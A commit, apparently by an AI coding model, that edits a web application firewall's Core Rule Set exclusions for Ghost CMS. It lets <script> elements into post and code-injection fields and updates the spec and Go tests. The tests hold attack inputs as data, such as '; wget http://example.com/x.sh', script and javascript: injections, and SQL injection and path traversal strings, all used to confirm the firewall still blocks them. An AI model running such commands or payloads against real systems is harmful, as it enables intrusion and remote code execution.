Core Rule Set: Ghost posts and code injection take a script element (closes #358)

While bodies are read, 941110 refused a `<script>` element in an HTML card
that embeds a widget, and in code injection that loads analytics. The new
exclusion 900366 switches 941110 off on the Admin API for `lexical`,
`mobiledoc` and `html` of posts and pages, their `codeinjection_head` and
`codeinjection_foot`, and settings `value`. Snippets, a newsletter's footer
and every other field and path still refuse it; `javascript:` links stay
refused everywhere.

Model: opus-5-5

SPEC.md

@@ -1792,11 +1792,20 @@ Code injection skips these rules:
 - 921130, 941100, 941160 and 941270, which refused `<meta>` and `<link>`
   elements.
 
-`<script>alert(1)</script>` and `javascript:alert(1)` are still refused in the
-articles and code injection (941110, 941170 and 941210). Path traversal and SQL
-injection are still refused in every field above. Script injection is too,
-outside the articles. `; wget http://example.com/x.sh` is still refused in the
-query fields, the plain text and the addresses.
+A `<script>` element skips 941110 in posts, pages and code injection, so an HTML
+card can embed a widget and code injection can load analytics. These are the
+fields, on the Admin API:
+
+- `lexical`, `mobiledoc` and `html` of posts and pages;
+- `codeinjection_head` and `codeinjection_foot` of posts and pages;
+- `value` of settings.
+
+`<script>alert(1)</script>` is still refused in snippets and newsletters.
+`javascript:alert(1)` is still refused in the articles and code injection
+(941170 and 941210). Path traversal and SQL injection are still refused in every
+field above. Script injection is too, outside the articles and code injection.
+`; wget http://example.com/x.sh` is still refused in the query fields, the plain
+text and the addresses.
 
 Coraza names a staff user's `profile_image` field `json.users.0.profile_image`.
 That name holds `.profile`, a file on the list of system files, so the name

internal/coreruleset/ghost.conf

@@ -153,8 +153,8 @@ SecRule REQUEST_FILENAME "@rx ^/ghost/api/admin/users/[0-9a-f]{24}/$" \
 #   snippets.<n>.lexical and snippets.<n>.mobiledoc, a part of a post saved for
 #   reuse
 #   newsletters.<n>.footer_content, the footer of a newsletter
-# A <script> element (941110) and a javascript: link (941170, 941210) are still
-# refused in them.
+# A javascript: link (941170, 941210) is still refused in them. A <script>
+# element (941110) passes only in posts and pages, by 900366.
 SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
     "id:900355,phase:1,pass,nolog,chain"
     SecRule &ARGS_GET:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/ "@eq 0" \
@@ -184,7 +184,8 @@ SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
 # These fields hold it, and skip the rules anywhere on the Admin API:
 #   posts.<n>.codeinjection_head and _foot, and the same fields of pages
 #   settings.<n>.value, the value of a setting
-# A <script> element and a javascript: link are still refused in them.
+# A javascript: link is still refused in them, and a <script> element passes
+# by 900366.
 SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
     "id:900356,phase:1,pass,nolog,chain"
     SecRule &ARGS_GET:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/ "@eq 0" \
@@ -200,6 +201,21 @@ SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
         ctl:ruleRemoveTargetById=941160;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
         ctl:ruleRemoveTargetById=941270;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/"
 
+# A <script> element skips 941110 in posts, pages and code injection, on the
+# Admin API, which refused:
+#   an HTML card that embeds a widget with its script
+#   code injection that loads analytics,
+#   <script defer src="https://analytics.example.com/script.js"></script>
+# These fields take a <script> element on purpose:
+#   posts.<n>.lexical, mobiledoc and html, and the same fields of pages
+#   posts.<n>.codeinjection_head and _foot, and the same fields of pages
+#   settings.<n>.value, the value of a setting
+# Snippets and a newsletter's footer still refuse it.
+SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
+    "id:900366,phase:1,pass,nolog,chain"
+    SecRule &ARGS_GET:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html|codeinjection_(?:head|foot))|settings\.\d+\.value)$/ "@eq 0" \
+        "ctl:ruleRemoveTargetById=941110;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html|codeinjection_(?:head|foot))|settings\.\d+\.value)$/"
+
 # Saving a staff user's profile sends the field profile_image, whose name holds
 # .profile, a file the list of system files names (930120).
 SecRule REQUEST_FILENAME "@rx ^/ghost/api/admin/users/[0-9a-f]{24}/$" \

internal/coreruleset/ghost_test.go

@@ -143,10 +143,11 @@ var ghostAddressFields = []ghostField{
 	{http.MethodPut, ghostUser, `{"users":[{"email":"VALUE"}]}`},
 }
 
-// ghostArticleFields hold an article and skip the rules of 900355.
+// ghostPostFields hold a post or a page, skip the rules of 900355, and take a
+// <script> element by 900366.
 //
 //nolint:gochecknoglobals // a constant cannot be a list
-var ghostArticleFields = []ghostField{
+var ghostPostFields = []ghostField{
 	{http.MethodPut, ghostPost, `{"posts":[{"lexical":"VALUE"}]}`},
 	{http.MethodPut, ghostPage, `{"pages":[{"lexical":"VALUE"}]}`},
 	{
@@ -155,6 +156,13 @@ var ghostArticleFields = []ghostField{
 		`{"posts":[{"html":"VALUE"}]}`,
 	},
 	{http.MethodPost, ghostPosts, `{"posts":[{"mobiledoc":"VALUE"}]}`},
+}
+
+// ghostSnippetFields hold a snippet or a newsletter's footer, skip the rules
+// of 900355, and still refuse a <script> element.
+//
+//nolint:gochecknoglobals // a constant cannot be a list
+var ghostSnippetFields = []ghostField{
 	{
 		http.MethodPost,
 		"/ghost/api/admin/snippets/",
@@ -167,8 +175,13 @@ var ghostArticleFields = []ghostField{
 	},
 }
 
-// ghostCodeFields hold code injection or a setting and skip the rules of
-// 900356.
+// ghostArticleFields hold an article and skip the rules of 900355.
+//
+//nolint:gochecknoglobals // a constant cannot be a list
+var ghostArticleFields = slices.Concat(ghostPostFields, ghostSnippetFields)
+
+// ghostCodeFields hold code injection or a setting, skip the rules of 900356,
+// and take a <script> element by 900366.
 //
 //nolint:gochecknoglobals // a constant cannot be a list
 var ghostCodeFields = []ghostField{
@@ -335,11 +348,41 @@ func TestGhostOrdinaryValuesPassInTheExcludedFields(t *testing.T) {
 		url.QueryEscape("label:[powershell-users]+name:~'ls -la'"), false)
 }
 
-// ghostAttacks are an SQL injection, a path traversal and a script
-// injection, not escaped.
+// ghostWidget is an HTML card that embeds a widget with its script.
+const ghostWidget = `<div id="signup"></div>` +
+	`<script src="https://widgets.example.com/form.js" async></script>`
+
+// ghostWidgetCard is ghostWidget as the editor saves it in lexical.
+const ghostWidgetCard = `{"root":{"children":[{"type":"html","version":1,` +
+	`"html":"<div id=\"signup\"></div><script ` +
+	`src=\"https://widgets.example.com/form.js\" async></script>"}],` +
+	`"direction":null,"format":"","indent":0,"type":"root","version":1}}`
+
+// ghostAnalytics is code injection that loads analytics.
+const ghostAnalytics = `<script defer ` +
+	`src="https://analytics.example.com/script.js"></script>`
+
+func TestGhostScriptsPassInPostsAndCodeInjection(t *testing.T) {
+	t.Parallel()
+
+	// An HTML card in a post, as the editor saves it, and as integrations
+	// send it.
+	wantGhostField(t, ghostPostFields[0], ghostWidgetCard, false)
+
+	for _, f := range ghostPostFields {
+		wantGhostField(t, f, ghostWidget, false)
+	}
+
+	// Site code injection, saved in settings, and a post's or a page's own.
+	for _, f := range ghostCodeFields {
+		wantGhostField(t, f, ghostAnalytics, false)
+	}
+}
+
+// ghostAttacks are an SQL injection and a path traversal, not escaped.
 //
 //nolint:gochecknoglobals // a constant cannot be a list
-var ghostAttacks = []string{injection, pathTraversal, scriptTag}
+var ghostAttacks = []string{injection, pathTraversal}
 
 // commandAfterASeparator is a shell command after a ";", not escaped.
 const commandAfterASeparator = "; wget http://example.com/x.sh"
@@ -358,6 +401,17 @@ func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) {
 		}
 	}
 
+	// A script injection stays refused in every field that does not take a
+	// <script> element.
+	for _, f := range slices.Concat(ghostTextFields, ghostAddressFields,
+		ghostSnippetFields) {
+		wantGhostField(t, f, scriptTag, true)
+	}
+
+	for _, target := range ghostQueryFields {
+		wantGhostQuery(t, target+url.QueryEscape(scriptTag), true)
+	}
+
 	// A command after a separator stays refused wherever its rules do not
 	// misfire: in the query fields, the plain text and the addresses.
 	for _, f := range slices.Concat(ghostTextFields, ghostAddressFields) {
@@ -372,13 +426,17 @@ func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) {
 		)
 	}
 
-	// The articles and code injection carry HTML on purpose, but a script
-	// element and a javascript: link are still refused there.
+	// The articles and code injection carry HTML on purpose, but a
+	// javascript: link is still refused there, and a script element in
+	// snippets and a newsletter's footer.
 	for _, f := range slices.Concat(ghostArticleFields, ghostCodeFields) {
-		wantGhostField(t, f, `<p>Hi</p><script src="/x.js"></script>`, true)
 		wantGhostField(t, f, `<a href="javascript:alert(1)">click</a>`, true)
 	}
 
+	for _, f := range ghostSnippetFields {
+		wantGhostField(t, f, `<p>Hi</p><script src="/x.js"></script>`, true)
+	}
+
 	// An address keeps 932250, which refuses a listing of files.
 	for _, f := range ghostAddressFields {
 		wantGhostField(t, f, "ls -la /root", true)
@@ -401,6 +459,9 @@ func TestGhostExclusionsAreNarrow(t *testing.T) {
 		setupEmail         = `{"setup":[{"email":"python3.dev@example.com"}]}`
 		passwordResetEmail = `{"password_reset":[{"email":"python3.dev@example.com"}]}`
 		userEmail          = `{"users":[{"email":"python3.dev@example.com"}]}`
+		script             = `<script defer src=\"/script.js\"></script>`
+		scriptInPost       = `{"posts":[{"lexical":"` + script + `"}]}`
+		scriptInSettings   = `{"settings":[{"value":"` + script + `"}]}`
 	)
 
 	for _, refused := range []struct{ target, body string }{
@@ -419,6 +480,12 @@ func TestGhostExclusionsAreNarrow(t *testing.T) {
 			ghostSettings + "?json.settings.0.value=x",
 			`{"settings":[{"value":"<meta name=x content=y>"}]}`,
 		},
+		{"/ghost/api/content/posts/", scriptInPost},
+		{ghostPosts + "?json.posts.0.lexical=x", scriptInPost},
+		{ghostPosts, `{"posts":[{"feature_image_caption":"` + script + `"}]}`},
+		{"/ghost/api/admin/users/me/", `{"users":[{"bio":"` + script + `"}]}`},
+		{"/api/settings/", scriptInSettings},
+		{ghostSettings + "?json.settings.0.value=x", scriptInSettings},
 		{"/ghost/api/admin/members/", `{"members":[{"geolocation":"python3"}]}`},
 		{"/ghost/api/admin/invites/", `{"invites":[{"email":"python3.dev@example.com"}]}`},
 		{ghostPosts, email},